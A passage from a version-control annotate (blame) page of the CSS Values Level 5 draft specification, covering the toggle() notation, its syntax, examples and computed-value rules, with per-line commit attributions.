class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1355" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1365" id="l1365"> 1365</a> </td> <td class="source"> declarations with ''if()'' do not roll back the cascade if the conditions are false; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1356" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1366" id="l1366"> 1366</a> </td> <td class="source"> any fallback values must be provided inline. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9333817b110d/css-values-5/Overview.bs#l1357" title="9333817b110d: [css-values-5] Define if() processing, add a note. #10064">fantasai@31743</a> </td> <td class="lineno"> <a href="#l1367" id="l1367"> 1367</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l603" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l1368" id="l1368"> 1368</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l118" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1378" id="l1378"> 1378</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l119" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1379" id="l1379"> 1379</a> </td> <td class="source"><h3 id="toggle-notation"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/03ce07eb112a/css-values-5/Overview.bs#l1258" title="03ce07eb112a: [css-values-5][editorial] Align subheadings">fantasai@31724</a> </td> <td class="lineno"> <a href="#l1380" id="l1380"> 1380</a> </td> <td class="source">Toggling Between Values: the ''toggle()'' notation</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l121" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1381" id="l1381"> 1381</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l122" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1382" id="l1382"> 1382</a> </td> <td class="source"> The <dfn>toggle()</dfn> expression allows descendant elements </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l123" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1383" id="l1383"> 1383</a> </td> <td class="source"> to cycle over a list of values instead of inheriting the same value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l124" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1384" id="l1384"> 1384</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l125" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1385" id="l1385"> 1385</a> </td> <td class="source"> <div class='example'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l126" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1386" id="l1386"> 1386</a> </td> <td class="source"> The following example makes <code>&lt;em></code> elements italic in general, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l127" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1387" id="l1387"> 1387</a> </td> <td class="source"> but makes them normal if they're inside something that's italic: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l128" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1388" id="l1388"> 1388</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l793" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1389" id="l1389"> 1389</a> </td> <td class="source"> <pre>em { font-style: toggle(italic, normal); }</pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l130" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1390" id="l1390"> 1390</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l131" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1391" id="l1391"> 1391</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l132" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1392" id="l1392"> 1392</a> </td> <td class="source"> <div class='example'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l133" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1393" id="l1393"> 1393</a> </td> <td class="source"> The following example cycles markers for nested lists, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l134" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1394" id="l1394"> 1394</a> </td> <td class="source"> so that a top level list has ''list-style-type/disc''-shaped markers, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l135" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1395" id="l1395"> 1395</a> </td> <td class="source"> but nested lists use ''list-style-type/circle'', then ''list-style-type/square'', then ''list-style-type/box'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l136" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1396" id="l1396"> 1396</a> </td> <td class="source"> and then repeat through the list of marker shapes, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l137" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1397" id="l1397"> 1397</a> </td> <td class="source"> starting again (for the 5th list deep) with ''list-style-type/disc''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l138" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1398" id="l1398"> 1398</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l803" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1399" id="l1399"> 1399</a> </td> <td class="source"> <pre>ul { list-style-type: toggle(disc, circle, square, box); }</pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l140" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1400" id="l1400"> 1400</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l141" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1401" id="l1401"> 1401</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l142" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1402" id="l1402"> 1402</a> </td> <td class="source"> The syntax of the ''toggle()'' expression is: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l143" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1403" id="l1403"> 1403</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/65c7c2c54289/css-values-5/Overview.bs#l599" title="65c7c2c54289: [css-values-5] Minor syntax fixes (#9589)">gui@30524</a> </td> <td class="lineno"> <a href="#l1404" id="l1404"> 1404</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l801" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1405" id="l1405"> 1405</a> </td> <td class="source"> <dfn><<toggle()>></dfn> = toggle( <<whole-value>># ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/65c7c2c54289/css-values-5/Overview.bs#l601" title="65c7c2c54289: [css-values-5] Minor syntax fixes (#9589)">gui@30524</a> </td> <td class="lineno"> <a href="#l1406" id="l1406"> 1406</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l152" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1407" id="l1407"> 1407</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l565" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1408" id="l1408"> 1408</a> </td> <td class="source"> The ''toggle()'' notation is a <<whole-value>>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l566" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1409" id="l1409"> 1409</a> </td> <td class="source"> However, it is not allowed to be nested, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l567" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1410" id="l1410"> 1410</a> </td> <td class="source"> nor may it contain ''attr()'' or ''calc()'' notations; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/244cf6881646/css-values-5/Overview.bs#l568" title="244cf6881646: [css-values-5] Define <whole-value>, make toggle() and mix() use it. #9341">jackalmage@30486</a> </td> <td class="lineno"> <a href="#l1411" id="l1411"> 1411</a> </td> <td class="source"> declarations containing such constructs are invalid. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l160" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1412" id="l1412"> 1412</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l161" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1413" id="l1413"> 1413</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l162" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1414" id="l1414"> 1414</a> </td> <td class="source"> The following ''toggle()'' examples are all invalid: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l163" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1415" id="l1415"> 1415</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l164" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1416" id="l1416"> 1416</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l165" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1417" id="l1417"> 1417</a> </td> <td class="source"> background-position: 10px toggle(50px, 100px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l166" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1418" id="l1418"> 1418</a> </td> <td class="source"> /* toggle() must be the sole value of the property */ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l167" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1419" id="l1419"> 1419</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l168" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1420" id="l1420"> 1420</a> </td> <td class="source"> list-style-type: toggle(disc, 50px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l169" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1421" id="l1421"> 1421</a> </td> <td class="source"> /* ''50px'' isn't a valid value of 'list-style-type' */ </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l170" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1422" id="l1422"> 1422</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l171" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1423" id="l1423"> 1423</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l172" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1424" id="l1424"> 1424</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l173" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1425" id="l1425"> 1425</a> </td> <td class="source"> To determine the computed value of ''toggle()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l174" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1426" id="l1426"> 1426</a> </td> <td class="source"> first evaluate each argument as if it were the sole value of the property in which ''toggle()'' is placed </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l175" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1427" id="l1427"> 1427</a> </td> <td class="source"> to determine the computed value that each represents, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l176" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1428" id="l1428"> 1428</a> </td> <td class="source"> called <var>C<sub>n</sub></var> for the <var>n</var>-th argument to ''toggle()''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l177" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1429" id="l1429"> 1429</a> </td> <td class="source"> Then, compare the property's <a>inherited value</a> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l178" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1430" id="l1430"> 1430</a> </td> <td class="source"> with each <var>C<sub>n</sub></var>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l179" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1431" id="l1431"> 1431</a> </td> <td class="source"> For the earliest <var>C<sub>n</sub></var> that matches the <a>inherited value</a>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l180" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1432" id="l1432"> 1432</a> </td> <td class="source"> the computed value of ''toggle()'' is <var>C<sub>n+1</sub></var>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l181" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1433" id="l1433"> 1433</a> </td> <td class="source"> If the match was the last argument in the list, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l182" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1434" id="l1434"> 1434</a> </td> <td class="source"> or there was no match, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l183" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1435" id="l1435"> 1435</a> </td> <td class="source"> the computed value of ''toggle()'' is the computed value that the first argument represents. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l184" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1436" id="l1436"> 1436</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l185" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1437" id="l1437"> 1437</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l186" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1438" id="l1438"> 1438</a> </td> <td class="source"> Note: This means that repeating values in a ''toggle()'' short-circuits the list. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/dffdfb9bc6fc/css-values-5/Overview.bs#l843" title="dffdfb9bc6fc: [css-values-5][editorial] Swap all possible examples to using commas rather than semicolons. #10670">jackalmage@31413</a> </td> <td class="lineno"> <a href="#l1439" id="l1439"> 1439</a> </td> <td class="source"> For example ''toggle(1em, 2em, 1em, 4em)'' will be equivalent to ''toggle(1em, 2em)''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l188" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1440" id="l1440"> 1440</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l189" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1441" id="l1441"> 1441</a> </td> <td class="source">  </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l190" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1442" id="l1442"> 1442</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l191" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1443" id="l1443"> 1443</a> </td> <td class="source"> Note: That ''toggle()'' explicitly looks at the computed value of the parent, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l192" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1444" id="l1444"> 1444</a> </td> <td class="source"> so it works even on non-inherited properties. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l193" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1445" id="l1445"> 1445</a> </td> <td class="source"> This is similar to the ''inherit'' keyword, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l194" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1446" id="l1446"> 1446</a> </td> <td class="source"> which works even on non-inherited properties. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l195" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1447" id="l1447"> 1447</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/4322db6d424c/css-values-5/Overview.bs#l844" title="4322db6d424c: [css-values-5] Define all the functions with semicolons to use commas, now that they can rely on semicolon-upgrading.">jackalmage@31370</a> </td> <td class="lineno"> <a href="#l1448" id="l1448"> 1448</a> </td> <td class="source"> Note: That the [=computed value=] of a property is an abstract set of values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l197" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1449" id="l1449"> 1449</a> </td> <td class="source"> not a particular serialization [[!CSS21]], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l198" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1450" id="l1450"> 1450</a> </td> <td class="source"> so comparison between computed values should always be unambiguous and have the expected result. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l199" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1451" id="l1451"> 1451</a> </td> <td class="source"> For example, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l201" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l1452" id="l1452"> 1452</a> </td> <td class="source"> a Level 2 <l spec=css22>'background-position'</l> computed value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l201" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1453" id="l1453"> 1453</a> </td> <td class="source"> is just two offsets, each represented as an absolute length or a percentage, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l202" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1454" id="l1454"> 1454</a> </td> <td class="source"> so the declarations ''background-position: top center'' and ''background-position: 50% 0%'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l203" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1455" id="l1455"> 1455</a> </td> <td class="source"> produce identical computed values. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l204" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1456" id="l1456"> 1456</a> </td> <td class="source"> If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/7d9fd2e578a7/css-values-5/Overview.bs#l141" title="7d9fd2e578a7: [css-values-5] Mark as diff spec">fantasai@29865</a> </td> <td class="lineno"> <a href="#l1457" id="l1457"> 1457</a> </td> <td class="source"> please <a href="#sotd">provide feedback</a> so we can fix it. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l206" title="859dd60e2b47: [css-values-4][css-values-5] Split out toggle() and attr() to Level 5 #6753">fantasai@27994</a> </td> <td class="lineno"> <a href="#l1458" id="l1458"> 1458</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/859dd60e2b47/css-values-5/Overview.bs#l207" title="859dd60e2b47: 